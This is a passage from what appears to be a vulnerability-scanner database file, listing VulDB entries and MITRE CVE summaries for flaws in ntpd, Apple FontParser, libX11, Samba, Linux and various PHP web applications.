23466| [87754] ntpd up to 4.2.8p7 Crypto-NAK Packet valid_NAK denial of service
23467| [87751] ntpd up to 4.2.8p7 Validation ntp_proto.c receive privilege escalation
23468| [60308] UTC Fire & Security GE-MC100-NTP/GPS-ZB Hardcoded Credentials unknown vulnerability
23469| [91177] WebTitan Appliance v3.50.x NTP Server Persistent cross site scripting
23470| [3368] Microsoft Windows up to Vista NNTP Response Heap-based memory corruption
23471| [141110] Cisco NX-OS ntp Packet Flooding denial of service
23472| [139263] Polycom Obihai Obi1022 5.1.11 NTP POST Request command injection
23473| [138862] Terracotta Quartz Scheduler up to 2.3.0 XML Data XMLSchedulingDataProcessor.java initDocumentParser XML External Entity
23474| [136554] Foxit Reader SDK Professsional 5.4.0.1031 Textbox IReader_ContentProvider PDF File memory corruption
23475| [136165] Foxit Reader SDK Professsional 5.4.0.1031 TextBox IReader_ContentProvider PDF File memory corruption
23476| [135088] ntp up to 4.2.8p12 NULL Pointer Dereference denial of service
23477| [131170] D-Link DIR-825 Rev.B 2.10 ntp_sync.cgi POST Request privilege escalation
23478| [129795] NTPsec up to 1.1.2 ntpd ntp_control.c denial of service
23479| [129794] NTPsec up to 1.1.2 ntp_control.c process_control() memory corruption
23480| [129793] NTPsec up to 1.1.2 ntp_control.c read_sysvars memory corruption
23481| [129792] NTPsec up to 1.1.2 ntpd ntp_config.c Request memory corruption
23482| [128241] jco.ir Karma 6.0.0 ContentPlaceHolder1_uxTitle ArchiveNews.aspx Parameter sql injection
23483| [124080] D-Link DIR-816 A2 1.10 B05 /goform/NTPSyncWithHost handler Shell Metacharacter command injection
23484| [122955] btrfsmaintenance up to 0.4.1 evaluate_auto_mountpoint Code Execution
23485| [121557] NeoMutt Message Data nntp.c memory corruption
23486| [121556] NeoMutt newsrc.c nntp_add_group memory corruption
23487| [119727] ntp 4.2.8p11 ntpq/ntpdc Long String Stack-based memory corruption
23488| [118765] Apple iOS up to 11.3.1 FontParser memory corruption
23489| [118715] Apple watchOS up to 4.3.0 FontParser memory corruption
23490| [117884] Foxit Reader 9.0.0.29935 PrintParams memory corruption
23491| [117883] Foxit Reader 9.0.0.29935 PrintParams memory corruption
23492| [114231] ntp 4.2.8p6/4.2.8p7/4.2.8p8/4.2.8p9/4.2.8p10 Symmetric Mode decodearr memory corruption
23493| [114140] ntp up to 4.2.8p11 Protocol Engine Source IP Address denial of service
23494| [114139] ntp up to 4.2.8p11 ntpd Timestamp denial of service
23495| [114138] ntp up to 4.2.8p11 ntpd ctl_getitem Packet denial of service
23496| [114137] ntp up to 4.2.8p6/4.3.91 ntpd Sybil privilege escalation
23497| [111779] Wireshark up to 2.4.3 JSON/XML/NTP/XMPP/GDB epan/tvbparse.c denial of service
23498| [104358] ntp up to 4.2.7 ntpd ntpd/ntp_config.c denial of service
23499| [98857] Apple tvOS up to 10.1 FontParser information disclosure
23500| [98856] Apple tvOS up to 10.1 FontParser memory corruption
23501| [98855] Apple tvOS up to 10.1 FontParser memory corruption
23502| [98854] Apple tvOS up to 10.1 FontParser memory corruption
23503| [98823] Apple watchOS up to 3.1 FontParser Out-of-Bounds information disclosure
23504| [98822] Apple watchOS up to 3.1 FontParser memory corruption
23505| [98821] Apple watchOS up to 3.1 FontParser memory corruption
23506| [98820] Apple watchOS up to 3.1 FontParser memory corruption
23507| [98741] Apple iOS up to 10.2 FontParser Out-of-Bounds information disclosure
23508| [98740] Apple iOS up to 10.2 FontParser memory corruption
23509| [98739] Apple iOS up to 10.2 FontParser memory corruption
23510| [98738] Apple iOS up to 10.2 FontParser memory corruption
23511| [98630] Apple macOS up to 10.12.3 FontParser Out-of-Bounds memory corruption
23512| [98629] Apple macOS up to 10.12.3 FontParser memory corruption
23513| [98628] Apple macOS up to 10.12.3 FontParser memory corruption
23514| [98627] Apple macOS up to 10.12.3 FontParser memory corruption
23515| [98552] ntp up to 4.2.8p9 Timestamp Origin Check spoofing
23516| [98551] ntp up to 4.2.8p9 ntpq Stack-based memory corruption
23517| [98550] ntp up to 4.2.8p9 Legacy MX4200 refclock mx4200_send memory corruption
23518| [98549] ntp up to 4.2.8p9 ctl_put memory corruption
23519| [98548] ntp up to 4.2.8p9 on Windows Data Structure denial of service
23520| [98545] ntp up to 4.2.8p9 Config Directive Segmentation Fault denial of service
23521| [98543] ntp up to 4.2.8p9 Configuration Directive denial of service
23522| [97826] Joomla CMS com_frontpage sql injection
23523| [95890] Apple watchOS up to 3.1.2 FontParser memory corruption
23524| [95889] Apple watchOS up to 3.1.2 FontParser memory corruption
23525| [95334] ntpd up to 4.2.8p8 on Windows UDP Packet denial of service
23526| [95333] ntpd up to 4.2.8p8 NULL Pointer Dereference denial of service
23527| [95332] ntpd up to 4.2.8p8 Control Mode privilege escalation
23528| [95321] ntpd up to 4.2.8p8 Origin Timestamp Protection Bypass privilege escalation
23529| [95320] ntpd up to 4.2.8p8 Source denial of service
23530| [95319] ntpd up to 4.2.8p8 Broadcast Packet denial of service
23531| [95318] ntpd up to 4.2.8p8 Broadcast Mode Replay Prevention denial of service
23532| [95317] ntpd up to 4.2.8p8 Rate Limit spoofing denial of service
23533| [94382] Apple macOS up to 10.12.1 FontParser memory corruption
23534| [94381] Apple macOS up to 10.12.1 FontParser memory corruption
23535| [94255] Apple tvOS up to 10.0 FontParser memory corruption
23536| [94254] Apple tvOS up to 10.0 FontParser memory corruption
23537| [94180] Apple iOS up to 10.1.1 FontParser memory corruption
23538| [94179] Apple iOS up to 10.1.1 FontParser memory corruption
23539| [93993] BusyBox NTP Packet networking/ntpd.c recv_and_process_client_pkt denial of service
23540| [93745] ntpd up to 4.2.8p8/4.3.93 UDP Packet NULL Pointer Dereference denial of service
23541| [93087] Apple watchOS up to 3.0 FontParser User information disclosure
23542| [93076] Apple tvOS up to 10.0 FontParser Out-of-Bounds information disclosure
23543| [93064] Apple macOS 10.12.0 FontParser Out-of-Bounds information disclosure
23544| [93044] Apple iOS up to 10.0.3 FontParser Out-of-Bounds information disclosure
23545| [92853] Oracle Communications Policy Management up to 9.7.3/9.9.1/10.4.1/12.1.1 NTP denial of service
23546| [92127] Apple tvOS up to 9.x FontParser Memory information disclosure
23547| [92108] Apple watchOS up to 2.x FontParser Memory information disclosure
23548| [92076] Apple macOS up to 10.11 FontParser memory corruption
23549| [91998] Apple iOS up to 10 FontParser memory corruption
23550| [91519] Microsoft Internet Explorer 9/10/11 MSHTML HandleStyleComponentProperty memory corruption
23551| [90452] Cisco IOS 15.5(3)S3/15.6(1)S2/15.6(2)S1/15.6(2)T1 NTP Interface Queue denial of service
23552| [88542] Meinberg IMS-LANTIME up to 6.20 NTP Time Server privilege escalation
23553| [88541] Meinberg IMS-LANTIME up to 6.20 NTP Time Server POST Request Stack-Based memory corruption
23554| [88540] Meinberg IMS-LANTIME up to 6.20 NTP Time Server POST Request Stack-Based memory corruption
23555| [87753] ntpd up to 4.2.8p7 Synchronization denial of service
23556| [87752] ntpd up to 4.2.8p7 Autokey denial of service
23557| [87750] ntpd up to 4.2.8p7 MAC denial of service
23558| [82989] ntp 4.2.8 ctl_getitem denial of service
23559| [82988] ntp 4.2.8 MATCH_ASSOC denial of service
23560| [82987] ntp 4.2.8 Trusted Key denial of service
23561| [82986] ntp 4.2.8 unconfig Directive denial of service
23562| [82985] ntp 4.2.8 IPv4 Bogon Packet privilege escalation
23563| [82983] ntp 4.2.8 Ephemeral Association privilege escalation
23564| [82982] ntp 4.2.8 ntpd Client privilege escalation
23565| [82981] ntp 4.2.8 Crypto NAK denial of service
23566| [82723] Cisco IOS/IOS XE ntp Time privilege escalation
23567| [81486] Apple iOS up to 9.2 FontParser memory corruption
23568| [81435] Apple Mac OS X up to 10.11.3 FontParser memory corruption
23569| [80654] ntp 4.2.8p5 ntpq Replay privilege escalation
23570| [80653] ntp 4.2.8p5 ntpq/ntpdc information disclosure
23571| [80652] ntp 4.2.8p5 ntpq Infinite Loop denial of service
23572| [80651] ntp 4.2.8p5 Origin Timestamp privilege escalation
23573| [80650] ntp 4.2.8p5 Authenticated Broadcast Mode privilege escalation
23574| [80649] ntp 4.2.8p5 reslist Command Stack-Based denial of service
23575| [80648] ntp 4.2.8p5 ntpdc NULL Pointer Dereference denial of service
23576| [80647] ntp 4.2.8p5 ntpq privilege escalation
23577| [80645] ntp 4.2.8p5 Key Checker spoofing
23578| [80644] ntp 4.2.8p5 Broadcast privilege escalation
23579| [78936] ntpd up to 4.2.8p5/4.3.78 ntp_crypto.c privilege escalation
23580| [78938] ntpd 4.2.8 sntp denial of service
23581| [78937] ntpd 4.2.8 logconfig Command Crash denial of service
23582| [78859] ntpd 4.2.8 autokey ntp_crypto.c denial of service
23583| [78858] ntpd 4.2.8 autokey ntp_crypto.c denial of service
23584| [78857] ntpd 4.2.8 ntp_crypto.c Extension Field denial of service
23585| [78856] ntpd 4.2.8 decodenetnum denial of service
23586| [78855] ntpd 4.2.8 KoD Packet denial of service
23587| [78854] ntpd 4.2.8 Rate Limit denial of service
23588| [78853] ntpd 4.2.8 Configuration Directive directory traversal
23589| [78852] ntpd 4.2.8 CRYPTO_ASSOC information disclosure
23590| [78851] ntpd 4.2.8 Private Mode Integer denial of service
23591| [78850] ntpd 4.2.8 Password Management Key File Use-After-Free memory corruption
23592| [78849] ntpd 4.2.8 Remote Configuration denial of service
23593| [78848] ntpd 4.2.8 URL Request save_config directory traversal
23594| [78847] ntpd 4.2.8 cookedprint memory corruption
23595| [78846] ntpd 4.2.8 refclock memory corruption
23596| [78845] ntpd 4.2.8 Password Management Heap-based memory corruption
23597| [78844] ntpd 4.2.8 Crypto-NAK Packet Logic privilege escalation
23598| [78808] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23599| [78807] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23600| [78806] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23601| [78805] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23602| [78804] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23603| [78803] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23604| [78802] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23605| [78801] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23606| [78800] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23607| [78799] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23608| [78798] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23609| [78797] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
23610| [78745] Apple iOS up to 9.0 FontParser Font File memory corruption
23611| [78744] Apple iOS up to 9.0 FontParser Font File memory corruption
23612| [78743] Apple iOS up to 9.0 FontParser Font File memory corruption
23613| [78742] Apple iOS up to 9.0 FontParser Font File memory corruption
23614| [78741] Apple iOS up to 9.0 FontParser Font File memory corruption
23615| [78740] Apple iOS up to 9.0 FontParser Font File memory corruption
23616| [78739] Apple iOS up to 9.0 FontParser Font File memory corruption
23617| [78738] Apple iOS up to 9.0 FontParser Font File memory corruption
23618| [78737] Apple iOS up to 9.0 FontParser Font File memory corruption
23619| [78736] Apple iOS up to 9.0 FontParser Font File memory corruption
23620| [78735] Apple iOS up to 9.0 FontParser Font File memory corruption
23621| [78734] Apple iOS up to 9.0 FontParser Font File memory corruption
23622| [78200] ntp up to 4.2.7 on Linux/OS X ntpd ntp_io.c spoofing
23623| [78199] ntp up to 4.2.7 ntpd ntp_crypto.c memory corruption
23624| [77314] pfSense up to 2.2.2 services_ntpd.php cross site scripting
23625| [77193] Apple Mac OS X up to 10.10.4 FontParser memory corruption
23626| [77192] Apple Mac OS X up to 10.10.4 FontParser memory corruption
23627| [77191] Apple Mac OS X up to 10.10.4 FontParser memory corruption
23628| [77147] Apple iOS up to 8.4.0 FontParser memory corruption
23629| [77146] Apple iOS up to 8.4.0 FontParser memory corruption
23630| [77145] Apple iOS up to 8.4.0 FontParser memory corruption
23631| [76265] Apple Mac OS X up to 10.10.3 FontParser TrueTypeScaler Font File memory corruption
23632| [75452] Apple Watch OS 1.0 FontParser memory corruption
23633| [74740] Apple MacOS X up to 10.10.2 ntp weak authentication
23634| [74718] Apple MacOS X up to 10.10.2 FontParser memory corruption
23635| [74665] ntpd up to 4.2.8 Symmetric Mode denial of service
23636| [74664] ntpd up to 4.2.8 MAC Checker weak authentication
23637| [74290] Dell Asset Manager GetClientPackage.aspx sql injection
23638| [69165] Red Hat JBoss Enterprise Application Platform 6.3.3 RESTEasy DocumentProvider XML External Entity
23639| [68927] Apple iOS up to 8.1.2 FontParser memory corruption
23640| [68926] Apple iOS up to 8.1.2 FontParser memory corruption
23641| [68879] Apple Mac OS X 10.8.5/10.9.5/10.10/10.10.1 FontParser memory corruption
23642| [68878] Apple Mac OS X 10.8.5/10.9.5/10.10/10.10.1 FontParser memory corruption
23643| [68456] NTP Daemon up to 4.2.7 Random Generator ntp_config.c config_auth weak authentication
23644| [68641] NTP Daemon 4.2.7 PRNG Crash information disclosure
23645| [68640] NTP Daemon 4.2.7 PRNG spoofing
23646| [68457] NTP Daemon up to 4.2.7 Random Generator weak authentication
23647| [68455] NTP Daemon up to 4.2.7 ntp_proto.c receive denial of service
23648| [68454] NTP Daemon up to 4.2.7 configure memory corruption
23649| [68453] NTP Daemon up to 4.2.7 ctl_putdata memory corruption
23650| [68452] NTP Daemon up to 4.2.7 crypto_recv memory corruption
23651| [71475] wEPISDParentPortal 1.0 X.509 Certificate spoofing
23652| [67032] Cisco IOS/IOS XE 15.2/15.4 NTP Service privilege escalation
23653| [11702] NTP Project ntpd 4.2.6 monlist Functionality ntp_request.c query denial of service
23654| [65493] Dlink DSL-2760U sntpcfg.cgi cross site scripting
23655| [10540] Google Chrome 29.0.1547.76 XML Document xmldocumentparser.cpp append memory corruption
23656| [10494] Cisco IOS/IOS XE NTP denial of service
23657| [9806] TRENDnet TEW-812DRU Input Sanitizer setNTP.cgi cross site scripting
23658| [11630] Python 2.6.8/2.7.5/3.3.2 nntplib readline denial of service
23659| [60183] Instantphp lknSupport Search Module cross site scripting
23660| [59298] Instantphp Jobs Pro 1.6.4 search_jobs.html sql injection
23661| [58483] CMU Cyrus IMAP Server up to 2.4.4 nntpd.c split_wildmats memory corruption
23662| [56769] IBM WebSphere Application Server up to 6.1.0.10 getACRWorkElementPtr denial of service
23663| [5339] WebMaster Solutions WmsCms 2.0 printpage.asp Eingabe sql injection
23664| [52232] PaymentProcessorScript PPScript shop.htm sql injection
23665| [51585] TYPO3 mjseventpro 0.2.1 sql injection
23666| [4078] Sun Solaris NTP Mode 7 Request denial of service
23667| [48235] ntp up to 4.2.x ntp_crypto.c crypto_recv memory corruption
23668| [47706] ntp up to 4.2.4p7 ntpq/ntpq.c cookedprint memory corruption
23669| [45910] Goople CMS 1.8.2 frontpage.php sql injection
23670| [45837] Goople CMS up to 1.8.2 frontpage.php sql injection
23671| [45794] NTP up to 4.2.4p4 EVP_VerifyFinal memory corruption
23672| [43343] Alain Barbet Filesys Smbclientparser up to 2.6 SMB Server filesys::smbclientparser memory corruption
23673| [41522] XOOPS Tutoriais Module up to 2.1b printpage.php sql injection
23674| [40320] Agares Media phpAutoVideo 2.21 frontpage_right.php privilege escalation
23675| [40250] Agares Media Arcadem 2.04 frontpage_right.php privilege escalation
23676| [36948] Johntp adsense-deluxe 0.x on WordPress adsense-deluxe.php cross site request forgery
23677| [35867] Free Php Scripts Free Image Hosting up to 2.0 Login frontpage.php privilege escalation
23678| [34928] HP Mercury Performance Center Agent 8.0 magentproc.exe memory corruption
23679| [34504] Uberghey CMS 0.3.1 frontpage.php privilege escalation
23680| [32641] Dan Jensen Travelsized CMS up to 0.4 frontpage.php privilege escalation
23681|
23682| MITRE CVE - https://cve.mitre.org:
23683| [CVE-2013-1997] Multiple buffer overflows in X.org libX11 1.5.99.901 (1.6 RC1) and earlier allow X servers to cause a denial of service (crash) and possibly execute arbitrary code via crafted length or index values to the (1) XAllocColorCells, (2) _XkbReadGetDeviceInfoReply, (3) _XkbReadGeomShapes, (4) _XkbReadGetGeometryReply, (5) _XkbReadKeySyms, (6) _XkbReadKeyActions, (7) _XkbReadKeyBehaviors, (8) _XkbReadModifierMap, (9) _XkbReadExplicitComponents, (10) _XkbReadVirtualModMap, (11) _XkbReadGetNamesReply, (12) _XkbReadGetMapReply, (13) _XimXGetReadData, (14) XListFonts, (15) XListExtensions, and (16) XGetFontPath functions.
23684| [CVE-2013-1984] Multiple integer overflows in X.org libXi 1.7.1 and earlier allow X servers to trigger allocation of insufficient memory and a buffer overflow via vectors related to the (1) XGetDeviceControl, (2) XGetFeedbackControl, (3) XGetDeviceDontPropagateList, (4) XGetDeviceMotionEvents, (5) XIGetProperty, (6) XIGetSelectedEvents, (7) XGetDeviceProperties, and (8) XListInputDevices functions.
23685| [CVE-2012-4258] Multiple SQL injection vulnerabilities in MYRE Real Estate Software (2012 Q2) allow remote attackers to execute arbitrary SQL commands via the (1) link_idd parameter to 1_mobile/listings.php or (2) userid parameter to 1_mobile/agentprofile.php.
23686| [CVE-2012-3375] The epoll_ctl system call in fs/eventpoll.c in the Linux kernel before 3.2.24 does not properly handle ELOOP errors in EPOLL_CTL_ADD operations, which allows local users to cause a denial of service (file-descriptor consumption and system crash) via a crafted application that attempts to create a circular epoll dependency. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-1083.
23687| [CVE-2012-1288] The UTC Fire & Security GE-MC100-NTP/GPS-ZB Master Clock device uses hardcoded credentials for an administrative account, which makes it easier for remote attackers to obtain access via an HTTP session.
23688| [CVE-2011-4859] The Schneider Electric Quantum Ethernet Module, as used in the Quantum 140NOE771* and 140CPU65* modules, the Premium TSXETY* and TSXP57* modules, the M340 BMXNOE01* and BMXP3420* modules, and the STB DIO STBNIC2212 and STBNIP2* modules, uses hardcoded passwords for the (1) AUTCSE, (2) AUT_CSE, (3) fdrusers, (4) ftpuser, (5) loader, (6) nic2212, (7) nimrohs2212, (8) nip2212, (9) noe77111_v500, (10) ntpupdate, (11) pcfactory, (12) sysdiag, (13) target, (14) test, (15) USER, and (16) webserver accounts, which makes it easier for remote attackers to obtain access via the (a) TELNET, (b) Windriver Debug, or (c) FTP port.
23689| [CVE-2011-3208] Stack-based buffer overflow in the split_wildmats function in nntpd.c in nntpd in Cyrus IMAP Server before 2.3.17 and 2.4.x before 2.4.11 allows remote attackers to execute arbitrary code via a crafted NNTP command.
23690| [CVE-2011-2724] The check_mtab function in client/mount.cifs.c in mount.cifs in smbfs in Samba 3.5.10 and earlier does not properly verify that the (1) device name and (2) mountpoint strings are composed of valid characters, which allows local users to cause a denial of service (mtab corruption) via a crafted string. NOTE: this vulnerability exists because of an incorrect fix for CVE-2010-0547.
23691| [CVE-2011-1313] Double free vulnerability in IBM WebSphere Application Server (WAS) 6.1.0.x before 6.1.0.35 and 7.x before 7.0.0.15 allows remote backend IIOP servers to cause a denial of service (S0C4 ABEND and storage corruption) by rejecting IIOP requests at opportunistic time instants, as demonstrated by requests associated with an ORB_Request::getACRWorkElementPtr function call.
23692| [CVE-2011-1082] fs/eventpoll.c in the Linux kernel before 2.6.38 places epoll file descriptors within other epoll data structures without properly checking for (1) closed loops or (2) deep chains, which allows local users to cause a denial of service (deadlock or stack memory consumption) via a crafted application that makes epoll_create and epoll_ctl system calls.
23693| [CVE-2010-4539] The walk function in repos.c in the mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion before 1.6.15, allows remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) via vectors that trigger the walking of SVNParentPath collections.
23694| [CVE-2010-3879] FUSE, possibly 2.8.5 and earlier, allows local users to create mtab entries with arbitrary pathnames, and consequently unmount any filesystem, via a symlink attack on the parent directory of the mountpoint of a FUSE filesystem, a different vulnerability than CVE-2010-0789.
23695| [CVE-2010-2896] IBM FileNet Content Manager (CM) 4.0.0, 4.0.1, 4.5.0, and 4.5.1 before FP4 does not properly manage the InheritParentPermissions setting during an upgrade from 3.x, which might allow attackers to bypass intended folder permissions via unspecified vectors.
23696| [CVE-2010-2121] Opera 9.52 allows remote attackers to cause a denial of service (resource consumption) via JavaScript code containing an infinite loop that creates IFRAME elements for invalid (1) news:// or (2) nntp:// URIs.
23697| [CVE-2010-2119] Microsoft Internet Explorer 6.0.2900.2180 allows remote attackers to cause a denial of service (resource consumption) via JavaScript code containing an infinite loop that creates IFRAME elements for invalid nntp:// URIs.
23698| [CVE-2010-2117] Mozilla Firefox 3.0.19, 3.5.x, and 3.6.x allows remote attackers to cause a denial of service (resource consumption) via JavaScript code containing an infinite loop that creates IFRAME elements for invalid (1) news:// or (2) nntp:// URIs.
23699| [CVE-2010-1721] SQL injection vulnerability in the Intellectual Property (aka IProperty or com_iproperty) component 1.5.3 for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in an agentproperties action to index.php.
23700| [CVE-2010-1708] Multiple SQL injection vulnerabilities in agentadmin.php in Free Realty allow remote attackers to execute arbitrary SQL commands via the (1) login field (aka agentname parameter) or (2) password field (aka agentpassword parameter).
23701| [CVE-2010-1078] SQL injection vulnerability in archive.php in XlentProjects SphereCMS 1.1 alpha allows remote attackers to execute arbitrary SQL commands via encoded null bytes ("%00") in the view parameter, which bypasses a protection mechanism.
23702| [CVE-2010-0790] sutil/ncpumount.c in ncpumount in ncpfs 2.2.6 produces certain detailed error messages about the results of privileged file-access attempts, which allows local users to determine the existence of arbitrary files via the mountpoint name.
23703| [CVE-2010-0789] fusermount in FUSE before 2.7.5, and 2.8.x before 2.8.2, allows local users to unmount an arbitrary FUSE filesystem share via a symlink attack on a mountpoint.
23704| [CVE-2010-0787] client/mount.cifs.c in mount.cifs in smbfs in Samba 3.0.22, 3.0.28a, 3.2.3, 3.3.2, 3.4.0, and 3.4.5 allows local users to mount a CIFS share on an arbitrary mountpoint, and gain privileges, via a symlink attack on the mountpoint directory file.
23705| [CVE-2010-0547] client/mount.cifs.c in mount.cifs in smbfs in Samba 3.4.5 and earlier does not verify that the (1) device name and (2) mountpoint strings are composed of valid characters, which allows local users to cause a denial of service (mtab corruption) via a crafted string.
23706| [CVE-2010-0340] SQL injection vulnerability in the MJS Event Pro (mjseventpro) extension 0.2.1 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
23707| [CVE-2010-0296] The encode_name macro in misc/mntent_r.c in the GNU C Library (aka glibc or libc6) 2.11.1 and earlier, as used by ncpmount and mount.cifs, does not properly handle newline characters in mountpoint names, which allows local users to cause a denial of service (mtab corruption), or possibly modify mount options and gain privileges, via a crafted mount request.
23708| [CVE-2010-0293] The client logging functionality in chronyd in Chrony before 1.23.1 does not restrict the amount of memory used for storage of client information, which allows remote attackers to cause a denial of service (memory consumption) via spoofed (1) NTP or (2) cmdmon packets.
23709| [CVE-2010-0182] The XMLDocument::load function in Mozilla Firefox before 3.5.9 and 3.6.x before 3.6.2, Thunderbird before 3.0.4, and SeaMonkey before 2.0.4 does not perform the expected nsIContentPolicy checks during loading of content by XML documents, which allows attackers to bypass intended access restrictions via crafted content.
23710| [CVE-2009-4724] SQL injection vulnerability in shop.htm in PaymentProcessorScript.net PPScript allows remote attackers to execute arbitrary SQL commands via the cid parameter.
23711| [CVE-2009-3562] Cross-site scripting (XSS) vulnerability in Xerver HTTP Server 4.32 allows remote attackers to inject arbitrary web script or HTML via the currentPath parameter in a chooseDirectory action.
23712| [CVE-2009-3561] Directory traversal vulnerability in Xerver HTTP Server 4.32 allows remote attackers to read arbitrary files via a full pathname with a drive letter in the currentPath parameter in a chooseDirectory action.
23713| [CVE-2009-2869] Unspecified vulnerability in Cisco IOS 12.2XNA, 12.2XNB, 12.2XNC, 12.2XND, 12.4MD, 12.4T, 12.4XZ, and 12.4YA allows remote attackers to cause a denial of service (device reload) via a crafted NTPv4 packet, aka Bug IDs CSCsu24505 and CSCsv75948.
23714| [CVE-2009-1252] Stack-based buffer overflow in the crypto_recv function in ntp_crypto.c in ntpd in NTP before 4.2.4p7 and 4.2.5 before 4.2.5p74, when OpenSSL and autokey are enabled, allows remote attackers to execute arbitrary code via a crafted packet containing an extension field.
23715| [CVE-2009-0159] Stack-based buffer overflow in the cookedprint function in ntpq/ntpq.c in ntpq in NTP before 4.2.4p7-RC2 allows remote NTP servers to execute arbitrary code via a crafted response.
23716| [CVE-2009-0121] SQL injection vulnerability in frontpage.php in Goople CMS 1.8.2 allows remote attackers to execute arbitrary SQL commands via the password parameter. NOTE: the provenance of this information is unknown
23717| [CVE-2009-0111] SQL injection vulnerability in frontpage.php in Goople CMS 1.8.2 and earlier allows remote attackers to execute arbitrary SQL commands via the username parameter.
23718| [CVE-2009-0021] NTP 4.2.4 before 4.2.4p5 and 4.2.5 before 4.2.5p150 does not properly check the return value from the OpenSSL EVP_VerifyFinal function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature for DSA and ECDSA keys, a similar vulnerability to CVE-2008-5077.
23719| [CVE-2008-6982] Cross-site scripting (XSS) vulnerability in index.php in devalcms 1.4a allows remote attackers to inject arbitrary web script or HTML via the currentpath parameter.
23720| [CVE-2008-6865] SQL injection vulnerability in modules.php in the Sectionsnew module for PHP-Nuke allows remote attackers to execute arbitrary SQL commands via the artid parameter in a printpage action.
23721| [CVE-2008-6728] SQL injection vulnerability in the Sections module in PHP-Nuke, probably before 8.0, allows remote attackers to execute arbitrary SQL commands via the artid parameter in a printpage action to modules.php.
23722| [CVE-2008-6255] Multiple SQL injection vulnerabilities in vBulletin 3.7.4 allow remote authenticated administrators to execute arbitrary SQL commands via the (1) answer parameter to admincp/verify.php, (2) extension parameter in an edit action to admincp/attachmentpermission.php, and the (3) iperm parameter to admincp/image.php.
23723| [CVE-2008-5362] The DefineConstantPool action in the ActionScript 2 virtual machine in Adobe Flash Player 10.x before 10.0.12.36 and 9.x before 9.0.151.0, and Adobe AIR before 1.5, accepts an untrusted input value for a "constant count," which allows remote attackers to read sensitive data from process memory via a crafted PDF file.
23724| [CVE-2008-5361] The ActionScript 2 virtual machine in Adobe Flash Player 10.x before 10.0.12.36 and 9.x before 9.0.151.0, and Adobe AIR before 1.5, does not verify a member element's size when performing (1) DefineConstantPool, (2) ActionJump, (3) ActionPush, (4) ActionTry, and unspecified other actions, which allows remote attackers to read sensitive data from process memory via a crafted PDF file.
23725| [CVE-2008-5066] PHP remote file inclusion vulnerability in upload/admin/frontpage_right.php in Agares Media ThemeSiteScript 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter.
23726| [CVE-2008-4253] The FlexGrid ActiveX control in Microsoft Visual Basic 6.0, Visual FoxPro 8.0 SP1 and 9.0 SP1 and SP2, Office FrontPage 2002 SP3, and Office Project 2003 SP3 does not properly handle errors during access to incorrectly initialized objects, which allows remote attackers to execute arbitrary code via a crafted HTML document, related to corruption of the "system state," aka "FlexGrid Control Memory Corruption Vulnerability."
23727| [CVE-2008-4174] Multiple cross-site scripting (XSS) vulnerabilities in index.php in Dynamic MP3 Lister 2.0.1 allow remote attackers to inject arbitrary web script or HTML via the (1) currentpath, (2) invert, (3) search, and (4) sort parameters.
23728| [CVE-2008-3970] pam_mount 0.10 through 0.45, when luserconf is enabled, does not verify mountpoint and source ownership before mounting a user-defined volume, which allows local users to bypass intended access restrictions via a local mount.
23729| [CVE-2008-3285] The Filesys::SmbClientParser module 2.7 and earlier for Perl allows remote SMB servers to execute arbitrary code via a folder name containing shell metacharacters.
23730| [CVE-2008-2931] The do_change_type function in fs/namespace.c in the Linux kernel before 2.6.22 does not verify that the caller has the CAP_SYS_ADMIN capability, which allows local users to gain privileges or cause a denial of service by modifying the properties of a mountpoint.
23731| [CVE-2008-2913] Directory traversal vulnerability in func.php in Devalcms 1.4a, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the currentpath parameter, in conjunction with certain ... (triple dot) and ..... sequences in the currentfile parameter, to index.php.
23732| [CVE-2008-2751] Multiple cross-site scripting (XSS) vulnerabilities in the Glassfish webadmin interface in Sun Java System Application Server 9.1_01 allow remote attackers to inject arbitrary web script or HTML via the (1) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:jndiProp:JndiNew, (2) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:resTypeProp:resType, (3) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:factoryClassProp:factoryClass, or (4) propertyForm:propertyContentPage:propertySheet:propertSectionTextField:descProp:desc parameter to (a) resourceNode/customResourceNew.jsf
23733| [CVE-2008-2649] Multiple PHP remote file inclusion vulnerabilities in DesktopOnNet 3 Beta allow remote attackers to execute arbitrary PHP code via a URL in the app_path parameter to (1) don3_requiem.don3app/don3_requiem.php and (2) frontpage.don3app/frontpage.php.
23734| [CVE-2008-1351] SQL injection vulnerability in the Tutorials 2.1b module for XOOPS allows remote attackers to execute arbitrary SQL commands via the tid parameter to printpage.php, which is accessible directly or through a printpage action to index.php.
23735| [CVE-2008-1053] Multiple SQL injection vulnerabilities in the Kose_Yazilari module for PHP-Nuke allow remote attackers to execute arbitrary SQL commands via the artid parameter in a (1) viewarticle or (2) printpage action to modules.php.
23736| [CVE-2008-0435] Directory traversal vulnerability in index.php in OZJournals 2.1.1 allows remote attackers to read portions of arbitrary files via a .. (dot dot) in the id parameter in a printpreview action.
23737| [CVE-2008-0074] Unspecified vulnerability in Microsoft Internet Information Services (IIS) 5.0 through 7.0 allows local users to gain privileges via unknown vectors related to file change notifications in the TPRoot, NNTPFile\Root, or WWWRoot folders.
23738| [CVE-2007-6614] PHP remote file inclusion vulnerability in admin/frontpage_right.php in Agares Media phpAutoVideo 2.21 allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter, a related issue to CVE-2007-6542.
